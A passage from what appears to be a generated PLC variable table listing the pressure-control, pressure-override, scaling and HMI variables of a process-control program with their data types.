+193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; 